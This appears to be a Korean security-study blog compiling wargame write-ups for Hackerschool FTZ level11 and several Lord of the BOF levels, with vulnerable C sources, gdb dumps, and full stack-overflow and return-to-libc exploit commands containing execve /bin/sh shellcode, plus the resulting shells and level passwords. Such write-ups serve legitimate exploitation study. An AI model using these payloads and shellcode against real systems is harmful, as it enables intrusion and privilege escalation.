Hackerschool FTZ level11

2012. 3. 26. 09:58 from MyStudy/FTZ

Hackerschool FTZ level11

izayoi

 

[level11@localhost level11]$ cat hint

 

#include <stdio.h>

#include <stdlib.h>

 

int main( int argc, char *argv[] )

{

           char str[256];

 

          setreuid( 3092, 3092 );

           strcpy( str, argv[1] );

           printf( str );

}

 

해당 문제는 가장 기본적인 BOF를 다루고 있다. 해당 문제의 컴파일 환경을 보면

 

[level11@localhost level11]$ gcc -v

Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/3.2.2/specs

Configured with: ../configure --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --enable-shared --enable-threads=posix --disable-checking --with-system-zlib --enable-__cxa_atexit --host=i386-redhat-linux

Thread model: posix

gcc version 3.2.2 20030222 (Red Hat Linux 3.2.2-5)

[level11@localhost level11]$ gdb -q attackme

(gdb) disas main

Dump of assembler code for function main:

0x08048470 <main+0>:    push   %ebp

0x08048471 <main+1>:    mov    %esp,%ebp

0x08048473 <main+3>:    sub    $0x108,%esp

 

3.2.2인 것을 확인할 수 있고 esp 108을 내리는 걸로 봐서는 8바이트의 더미값이 있다는 것을 확인할 수 있다.

 

공격 페이로드는 다음과 같다.

[str(buffer)] [stp]                   [ret][argc][argv][env]

^ nop*240byte+ shellcode(24byte)  ^&buffer

 

[level11@localhost level11]$ ./attackme `perl -e 'print "\x90"x68,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80","\x90"x175,"\xf8\xfa\xff\xbf"'`

sh-2.05b$ id

uid=3092(level12) gid=3091(level11) groups=3091(level11)

sh-2.05b$ my-pass

TERM environment variable not set.

 

Level12 Password is "it is like this".

Posted by john@memory :


진짜 우리 팀 멤버들에게 정말 감사하다고 전해드리고 싶습니다.

문제의 개략적 백업[2문제는 못했습니다.] 

 
추후 문제 있을 경우 삭제하겠습니다

ps.더 좋은 백업 ㅠㅠ


'MyStudy' 카테고리의 다른 글

History Of BOF  (0) 2012.04.18
Posted by john@memory :
그동안 방치해둔 블로그 미안..

'MyDiary' 카테고리의 다른 글

페이스북을 끊었습니다.  (0) 2012.04.27
FTZ도 닫히고 새 학기도 시작되고  (0) 2012.04.11
음..  (0) 2012.01.18
처음부터 멋있게 작성하려고 하지 말자.  (0) 2012.01.10
111222  (3) 2011.12.22
Posted by john@memory :
LEVEL19 (nightmare -> xavius) : fgets + destroyers 

이번 문제는 fgets함수와 스택 디스트로이어 있다. 소스를 보자

[nightmare@localhost nightmare]$ cat xavius.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - xavius
        - arg
*/

#include 
#include 
#include 

main()
{
        char buffer[40];
        char *ret_addr;

        // overflow!
        fgets(buffer, 256, stdin);
        printf("%s\n", buffer);

        if(*(buffer+47) == '\xbf')
        {
                printf("stack retbayed you!\n");
                exit(0);
        }

        if(*(buffer+47) == '\x08')
        {
                printf("binary image retbayed you, too!!\n");
                exit(0);
        }

        // check if the ret_addr is library function or not
        memcpy(&ret_addr, buffer+44, 4);
        while(memcmp(ret_addr, "\x90\x90", 2) != 0)     // end point of function
        {
                if(*ret_addr == '\xc9'){                // leave
                        if(*(ret_addr+1) == '\xc3'){    // ret
                                printf("You cannot use library function!\n");
                                exit(0);
                        }
                }
                ret_addr++;
        }

        // stack destroyer
        memset(buffer, 0, 44);
        memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));

        // LD_* eraser
        // 40 : extra space for memset function
        memset(buffer-3000, 0, 3000-40);
}

stack도 안되고 rtl, LD_ 등등의 방법이 통하지 않는다.
이때 fgets는 특별한 저장 영역인 0x40015000에 해당 문자열을 저장하게 된다.
하지만 \x00은 null로 인식하므로 \x01로 주소를 맞추고 쉘코드를 실행하면 될 것이다.

[nightmare@localhost nightmare]$ (perl -e 'print "\x90"x20,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80","\x01\x50\x01\x40"';cat)|./xavius

릱릱릱릱릱릱릱릱릱릱1픐h//shh/bin됥PS됣솻
                                         ?P@

id;my-pass
uid=518(nightmare) gid=518(nightmare) euid=519(xavius) egid=519(xavius) groups=518(nightmare)
euid = 519
throw me away


Posted by john@memory :
LEVEL13 (darkknight -> bugbear) : RTL1 

드디어 RTL이다 소스를 보자

[darkknight@localhost darkknight]$ cat bugbear.c
#include 
#include 

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        if(argv[1][47] == '\xbf')
        {
                printf("stack betrayed you!!\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
}

다른 내용은 없고 0xbf(stack영역)을 찹조하면 "스택은 너를 배신했다"라는 메세지를 출력하고 종료한다.
이번에 사용될 기술은 RTL인데 라이브러리 영역에 있는 함수를 호출하고 인자값을 넣고 해당 함수를 실행하는 방법이다.

들어가야될 인자를 생각해보면 system()함수의 주소값, 리턴될 함수의 주소값(굳이 쓸 필요는 없다), system()함수의 인자값 순으로 생각을 하면된다.

그럼 먼저 system()함수의 주소값을 찾아보자. 

[darkknight@localhost .izayoi]$ cat system.c
int main(){
        system("/bin/sh");
}
[darkknight@localhost .izayoi]$ gdb -q system
(gdb) b main
Breakpoint 1 at 0x80483cb
(gdb) r
Starting program: /home/darkknight/.izayoi/system

Breakpoint 1, 0x80483cb in main ()
(gdb) print system
$2 = {} 0x40058ae0 <__libc_system>

system()함수의 주소값은 0x40058ae0 임을 확인했다.
system()함수는 "/bin/sh"를 사용해서 프로그램을 실행시킬 것이므로 내부적으로는 "/bin/sh"라는 값이 존재할 것 이다.

[darkknight@localhost .izayoi]$ cat find.c
#include 
int main(int argc, char **argv)
{
long shell=0x40058ae0;
while(memcmp((void*)shell,"/bin/sh",8)) shell++;
printf("\"/bin/sh\" is at [ %#x ]\n",shell);
}
[darkknight@localhost .izayoi]$ ./find
"/bin/sh" is at [ 0x400fbff9 ]
 
"/bin/sh"의 주소값을 찾았다.
이제 공격을 시도해보자.

[darkknight@localhost darkknight]$ ./bugbear `perl -e 'print "a"x44,"\xe0\x8a\x05\x40","aaaa","\xf9\xbf\x0f\x40"'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa?@aaaa廈@
bash$ id;my-pass
uid=512(darkknight) gid=512(darkknight) euid=513(bugbear) egid=513(bugbear) groups=512(darkknight)
euid = 513
new divide

bash$ exit
exit
Segmentation fault

밑에 exit를 친 이유는 중간에 aaaa라는 더미값을 넣었는데 그 값이 되돌아갈 주소로는 올바르지 않으므로 세그멘테이션 폴트가 뜬다. 이때는 돌아갈 주소를 exit()같은 종료하는 함수의 주소를 집어넣게 된다면 올바르게 종료될 것 이다.
Posted by john@memory :
LEVEL14 (bugbear -> giant) : RTL2, only execve

갑자기 10번까지 가다가 14번으로 갔는데 포스팅 순서가 꼬였을것으로 예상된다.(추후 수정예정.)
일단은 이번에도 RTL기법을 이용하는데 이전의 문제와는 다르게 execve를 이용해야된다는 것이다. 소스를 보자

 [bugbear@localhost .izayoi]$ cat giant.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

main(int argc, char *argv[])
{
        char buffer[40];
        FILE *fp;
        char *lib_addr, *execve_offset, *execve_addr;
        char *ret;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // gain address of execve
        fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'", "r");
        fgets(buffer, 255, fp);
        sscanf(buffer, "(%x)", &lib_addr);
        fclose(fp);

        fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r");
        fgets(buffer, 255, fp);
        sscanf(buffer, "%x", &execve_offset);
        fclose(fp);

        execve_addr = lib_addr + (int)execve_offset;
        // end

        memcpy(&ret, &(argv[1][44]), 4);
        if(ret != execve_addr)
        {
                printf("You must use execve!\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
}


길지만 ret address가 execve가 아니면 프로그램을 종료하는 것이다.
execve() 함수의 경우에는 인자값을 세개를 받아오게 되는데
execve(프로그램명("/bin/sh"),인자값(argv),환경변수(env))의 형태를 가지고 있다.

들어가야 될 인자를 생각하면
execve의 주소값,
반환될 주소값,
첫번째 인자(프로그램명),
두번째 인자(*argv[0],argv[1]),세번째 인자(null)
이 될 것이다.

일단은 execve(), exit()[프로그램 정상 종료를 위한 주소] 등의 주소값을 알아내 보자

[bugbear@localhost .izayoi]$ gdb -q giant
(gdb) b main
Breakpoint 1 at 0x8048566
(gdb) r
Starting program: /home/bugbear/.izayoi/giant

Breakpoint 1, 0x8048566 in main ()
(gdb) print execve
$1 = {<text variable, no debug info>} 0x400a9d48 <__execve>
(gdb) print exit
$2 = {void (int)} 0x400391e0 <exit>


system() 함수에서 /bin/sh를 내부적으로 찾았듯이 이번에도 찾아보자

 [bugbear@localhost .izayoi]$ cat c.c
#include<stdio.h>
int main()
{
long addr = 0x400a9d48;

 while(1)
 {
  if( memcmp((const void *)addr,"/bin/sh",8) == 0 )
  {
   printf("found! : 0x%x\n",addr);
   exit(0);
  }
 addr++;
 }
}
[bugbear@localhost .izayoi]$ make c
cc     c.c   -o c
[bugbear@localhost .izayoi]$ ./c
found! : 0x400fbff9


일부로 execve()함수 내에서 찾아보려고 long addr에서 execve()함수의 주소값을 집어넣었을때도 system()함수에서 구한것과 똑같은 결과가 나왔다.

argv같은 경우에는 파일명과 null이 같이 들어가는 **argv 형태가 되어야 하는데 이것은 "/bin/sh"의 주소값을 프로그램명으로 심볼릭 링크를 걸고 스택의 맨위쪽에서 파일 이름 다음에는 null이 들어가는 것을 이용한다.

argv값 찾기

[bugbear@localhost .izayoi]$ gcc giant.c -o $(echo -en "\xf9\xbf\x0f\x40")
[bugbear@localhost .izayoi]$ gdb -q $(echo -en "\xf9\xbf\x0f\x40")
(gdb) b main
Breakpoint 1 at 0x8048566
(gdb) r
Starting program: /home/bugbear/.izayoi/ù¿@

Breakpoint 1, 0x8048566 in main ()
(gdb) x/12s 0xbfffffe0
0xbfffffe0:      ""
0xbfffffe1:      "/home/bugbear/.izayoi/ù¿\017@"
0xbffffffc:      ""
...
(gdb) p/x 0xbfffffe1+strlen("/home/bugbear/.izayoi/")
$1 = 0xbffffff7


/bin/sh의 주소 및 null값을 집어넣을수 있는 주소는 0xbffffff7이다.

마지막으로 환경변수가 들어갈 공간에도 null이 들어가게 되는데
이때는 항상 null이 들어가는(위에서도 이용한)0xbffffffc주소를 이용한다.

추가 위 프로그램에서 컴파일하게 되는데 이때 프로그램 내용이 조금 수정되었었다. 언급을 안해서 추가로 작성해놓는다.

 [bugbear@localhost .izayoi]$ cat giant.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

main(int argc, char *argv[])
{
        char buffer[40];
        FILE *fp;
        char *lib_addr, *execve_offset, *execve_addr;
        char *ret;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // gain address of execve
        fp = popen("/usr/bin/ldd /home/bugbear/giant | /bin/grep libc | /bin/awk '{print $4}'", "r");
        fgets(buffer, 255, fp);
        sscanf(buffer, "(%x)", &lib_addr);
        fclose(fp);

        fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r");
        fgets(buffer, 255, fp);
        sscanf(buffer, "%x", &execve_offset);
        fclose(fp);

        execve_addr = lib_addr + (int)execve_offset;
        // end

        memcpy(&ret, &(argv[1][44]), 4);
        if(ret != execve_addr)
        {
                printf("You must use execve!\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
}


저부분이 수정되었는데 원문은 /home/giant/assassin인데 /home/bugbear/giant 으로 바꿔주었다.
http://devanix.tistory.com/149 이 블로그를 참고했는데 왜 이렇게 됐는지 조금 더 고민해봐야겠다.

이제 원본 파일에 심볼릭 링크를 걸고 해당 명령을 수행해보도록 하겠다.

[bugbear@localhost bugbear]$ ln -sf giant $(echo -en "\xf9\xbf\x0f\x40")
[bugbear@localhost bugbear]$ ./$(echo -en "\xf9\xbf\x0f\x40") "`perl -e 'print "A"x44,"\x48\x9d\x0a\x40","\xe0\x91\x03\x40","\xf9\xbf\x0f\x40","\xf7\xff\xff\xbf","\xfc\xff\xff\xbf"'`"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH

bash$ id;my-pass
uid=513(bugbear) gid=513(bugbear) euid=514(giant) egid=514(giant) groups=513(bugbear)
euid = 514
one step closer


그러하다 여기서 신기했던건 맨날 perl만 썼는데 echo로 명령어를 수행할수 있는게 신기했다.
그리고 리턴되는 값(exit())를 일부로 쉘 exit명령어를 사용할 경우에 정상적으로 종료되게 하려고 넣어둔 것으로 알고 있는데 그냥 아무 값이나 넣어도(ex)aaaa) 그냥 정상적으로 종료되는 것을 확인할 수 있었다..

 [bugbear@localhost bugbear]$ ./$(echo -en "\xf9\xbf\x0f\x40") "`perl -e 'print "A"x44,"\x48\x9d\x0a\x40","aaaa","\xf9\xbf\x0f\x40","\xf7\xff\xff\xbf","\xfc\xff\xff\xbf"'`"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH

bash$


Posted by john@memory :
LEVEL10 (vampire -> skeleton) : argv hunter

argv hunter는 argv를 비우는 문제인가.. 일단 코드를 보자

[vampire@localhost .izayoi]$ cat skeleton.c
#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i, saved_argc;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        // check the length of argument
        if(strlen(argv[1]) > 48){
                printf("argument is too long!\n");
                exit(0);
        }

        // argc saver
        saved_argc = argc;

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // shellcode hunter
        memset(buffer, 0, 40);

        // ultra argv hunter!
        for(i=0; i<saved_argc; i++)
                memset(argv[i], 0, strlen(argv[i]));
}


이번에는 argv를 전부 없애버린다. 그동안 쓰던 argv영역을 모조리 쓸 수 없게 되었다.
자료를 찾다보니 스택의 맨 끝부분에서는 파일명이 들어간다고 한다(0xbfffffff의 조금 앞쪽부분)

 [vampire@localhost .izayoi]$ ls
aaaaaaaaa  core  skeleton  skeleton.c
[vampire@localhost .izayoi]$ ./aaaaaaaaa `perl -e 'print "\xbf"x48'`
¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿
Segmentation fault (core dumped)
[vampire@localhost .izayoi]$ gdb -c core -q
Core was generated by `                                                            '.
Program terminated with signal 11, Segmentation fault.
#0  0xbfbfbfbf in ?? ()
(gdb) x/70x $esp
...
0xbfffffe0:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffff0:     0x61612f2e      0x61616161      0x00616161      0x00000000
0xc0000000:     Cannot access memory at address 0xc0000000

그렇다면 다시 심볼릭 링크를 걸고 파일명에다가 쉘코드를 집어은 뒤에 그 뒷부분영역을 ret에 넣으면 될것같다.

[vampire@localhost .izayoi]$ ln -s skeleton `perl -e 'print "\x90"x100,"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
[vampire@localhost .izayoi]$ ls
core
skeleton
skeleton.c
????????????????????????????????????????????????????????????????????????????????????????????????????ë?^1ɱ2?l?ÿ??é?uöë?èêÿÿÿ2ÁQi00tii0cjo?äQT?â?±?Î?
[vampire@localhost .izayoi]$ ./`perl -e 'print "\x90"x100,"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `perl -e 'print "\xbf"x48'`
¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿
Segmentation fault (core dumped)
[vampire@localhost .izayoi]$ gdb -c core -q
Core was generated by `                                                                              '.
Program terminated with signal 11, Segmentation fault.
#0  0xbfbfbfbf in ?? ()
(gdb) x/70x 0xbfffff50
0xbfffff50:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffff60:     0x00000000      0x902f2e00      0x90909090      0x90909090
0xbfffff70:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffff80:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffff90:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffffa0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffffb0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffffc0:     0x90909090      0x90909090      0xeb909090      0xc9315e11
0xbfffffd0:     0x6c8032b1      0x8001ff0e      0xf67501e9      0xeae805eb
0xbfffffe0:     0x32ffffff      0x306951c1      0x69697430      0x6f6a6330
0xbffffff0:     0x5451e48a      0xb19ae28a      0x0081ce0c      0x00000000
0xc0000000:     Cannot access memory at address 0xc0000000

심볼릭 링크를 걸구... 위치를 확인하구...

 [vampire@localhost .izayoi]$ ln -s skeleton `perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
[vampire@localhost .izayoi]$ ./`perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `perl -e 'print "\xbf"x44,"\xd2\xff\xff\xbf"'`
¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿Òÿÿ¿
Segmentation fault (core dumped)
[vampire@localhost .izayoi]$ gdb -c core
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux".
Core was generated by `                                                                              '.
Program terminated with signal 11, Segmentation fault.
#0  0xbfffffd2 in ?? ()
(gdb) x/70x 0xbfffffd2
0xbfffffd2:     0xff0e6c80      0x01e98001      0x05ebf675      0xffffeae8
0xbfffffe2:     0x51c132ff      0x74303069      0x63306969      0xe48a6f6a
0xbffffff2:     0xe28a5451      0xce0cb19a      0x00000081      Cannot access memory at address 0xbffffffe
(gdb)

한참을 시도했는데 안된다. 나는 내가 잘못한것인줄 알았으나 ret에서 가리키는 부분을 확인해보니 0xbfffffd2부분을 가리키고 있었다.
흠... 48byte짜리 쉘코드가 너무 긴가보다.

[vampire@localhost vampire]$ ln -s skeleton `perl -e 'print "\x90"x100,"\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3"'`
[vampire@localhost vampire]$ ./`perl -e 'print "\x90"x100,"\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3"'` `perl -e 'print "a"x44,"\xa0\xff\xff\xbf"'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ÿÿ¿
bash$ id;my-pass
uid=509(vampire) gid=509(vampire) euid=510(skeleton) egid=510(skeleton) groups=509(vampire)
euid = 510
shellcoder

다른 쉘코드를 하니 됐는데 디버깅해서 확인해보고 싶은데 제대로 확인하지 못하고 일단 실험을 종료하였다.

p.s. 추가

http://devanix.tistory.com/145

해당 링크를 확인하면 이 문제의 다른 풀이가 있다.
rtl기법을 이용한 쉘코드로써 http://www.hackerschool.org/HS_Boards/data/Lib_system/rtl_sc.txt 여기에 또 자세한 설명이 있다.

이 문제도 푸는 방법은 동일하나 쉘코드 작성에 대해서 서술했기에 한번 링크를 걸게 되었다.
Posted by john@memory :
LEVEL9 (troll -> vampire) : check 0xbfff

0xbfff를 체크한다고 하는데 문제의 소스를 보자

 [troll@localhost .izayoi]$ cat vampire.c
#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
        char buffer[40];

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        // here is changed!
        if(argv[1][46] == '\xff')
        {
                printf("but it's not forever\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
}


역시 전과 동일하지만 bf영역(스택영역)을 가리키면서 ff영역은 되면 안된다.
이때 argv영역은 스택이 쌓이면 쌓일수록 높은 주소에서 낮은 주소로 가게 되는데 충분히 큰 크기(약 100000개)를 할당해준다면 argv의 시작주소도 낮아지게 될 것이다. 여기선 argv[1]에 주소값을 복사하도록 하고 argv[2]에 쉘코드를 집어넣는 방법을 택한다

 [troll@localhost .izayoi]$ ./vampire `perl -e 'print "\xbf"x48'` `perl -e 'print "\x90"x20000,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80","a"x80000'`
¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿
Segmentation fault (core dumped)
[troll@localhost .izayoi]$ gdb -c core -q
Core was generated by `./vampire ¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿ '.
Program terminated with signal 11, Segmentation fault.
#0  0xbfbfbfbf in ?? ()
(gdb) x/70x $esp
...
0xbffe7568:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffe7578:     0x36690000      0x2e003638      0x6d61762f      0x65726970
0xbffe7588:     0xbfbfbf00      0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf
0xbffe7598:     0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf
0xbffe75a8:     0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf
0xbffe75b8:     0x909000bf      0x90909090      0x90909090      0x90909090
0xbffe75c8:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffe75d8:     0x90909090      0x90909090      0x90909090      0x90909090
...

이런 식으로 넣을 예정이다. 이제 argv[1]에는 적당한 값 (0xbffe75f8) 정도를 넣어볼 것이다.

 [troll@localhost troll]$ ./vampire `perl -e 'print "\xbf"x44,"\xf8\x75\xfe\xbf"'` `perl -e 'print "\x90"x20000,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80","a"x80000'`
¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿øuþ¿
bash$ id;my-pass
uid=508(troll) gid=508(troll) euid=509(vampire) egid=509(vampire) groups=508(troll)
euid = 509
music world

성공
Posted by john@memory :
LEVEL8 (orge -> troll) : check argc

argc는 argv의 개수를 체크한다는 뜻인거같은데 한번 코드를 확인해보자

[orge@localhost .izayoi]$ cat troll.c
#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        // here is changed
        if(argc != 2){
                printf("argc must be two!\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        // check the length of argument
        if(strlen(argv[1]) > 48){
                printf("argument is too long!\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // shellcode hunter
        memset(buffer, 0, 40);
        // one more!
        memset(argv[1], 0, strlen(argv[1]));
}


이번 문제는 egghunter bufferhunter에 스택영역에서의 공격 및 argv[1]의 글자수에다가[이전 문제까지의 적용.]
추가 된 부분이 argc가 2이여야 되고 argv[1]이 버퍼에 복사한 뒤에는 메모리를 비워버린단 것이다.

방법을 생각해보니깐 도저히 이 방법밖에는 안보였다.
argv[0]에 심볼릭 링크로 쉘코드를 넣고 argv[1]에서 버퍼를 채운뒤 argv[0]의 주소를 집어넣으면 될 것이다. 다행히 argv[0]에 글자수 제한은 사라졌다. 적당히 nop코드 넣고 짜면 계산 대충 해도 들어갈 것 같다.

이때 주의할 점은 기존 쉘코드를 이용할수가 없다는 것이다. 왜냐하면 \x2f같은 경우에는 문자열로 계산하면 "/"가 되게 되는데 이게 경로명 설정할때의 문자열로 인식되므로 사용할 수가 없다.
여기서의 쉘코드는
\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81
이것으로 바꿔서 사용하겠다.

 [orge@localhost .izayoi]$ ln -s troll "`perl -e 'print "aaaa","\x90"x100,"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`"
[orge@localhost .izayoi]$ ls
aaaa????????????????????????????????????????????????????????????????????????????????????????????????????ë?^1ɱ2?l?ÿ??é?uöë?èêÿÿÿ2ÁQi00tii0cjo?äQT?â?±?Î?
troll
troll.c

맨 앞에 aaaa를 넣은 이유는 tab키를 눌러서 파일 명을 편하게 치기 위함이다.
[크게 의미를 짓지는 않는다. 만약 perl로 파일명을 치고 싶다면 그냥 aaa를 제외하고 쳐도 상관이 없다.]

그리고 이제 gdb로 덤프뜨고 확인해보자.

 [orge@localhost .izayoi]$
ÿ2ÁQi00tii0cjoŠäQTŠâš±^LΠ `perl -e 'print "\xbf"x48'`
¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿
Segmentation fault (core dumped)
[orge@localhost .izayoi]$ gdb -c core -q
Core was generated by `./aaaa'.
Program terminated with signal 11, Segmentation fault.
#0  0xbfbfbfbf in ?? ()
(gdb) x/70x $esp
...
0xbffffa78:     0x00000000      0x00000000      0x00000000      0x69000000
0xbffffa88:     0x00363836      0x61612f2e      0x90906161      0x90909090
0xbffffa98:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffaa8:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffab8:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffac8:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffad8:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffae8:     0x90909090      0x90909090      0x90909090      0x11eb9090
0xbffffaf8:     0xb1c9315e      0x0e6c8032      0xe98001ff      0xebf67501
0xbffffb08:     0xffeae805      0xc132ffff      0x30306951      0x30696974
0xbffffb18:     0x8a6f6a63      0x8a5451e4      0x0cb19ae2      0x000081ce
0xbffffb28:     0x00000000      0x00000000      0x00000000      0x00000000
...

맨 위에서는 aaa하고 탭을 누른 결과 글씨가 깨져서 그런거니 오해없길...
(./aaaa(파일명 어쩌구) `perl -e 'print "\xbf"x48'`)이런 구문이다.

개략적으로 0xbffffaa8정도를 치고 공격하자.

 Qi00tii0cjoŠäQTŠâš±^LΠ `perl -e 'print "\xbf"x44,"\xa8\xfa\xff\xbf"'`
¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¨úÿ¿
bash$ id
uid=507(orge) gid=507(orge) euid=508(troll) egid=508(troll) groups=507(orge)
bash$ my-pass
euid = 508
aspirin

성공이다.
\x2f때문에 삽질한 것을 빼도 번거로운 문제다.[...]
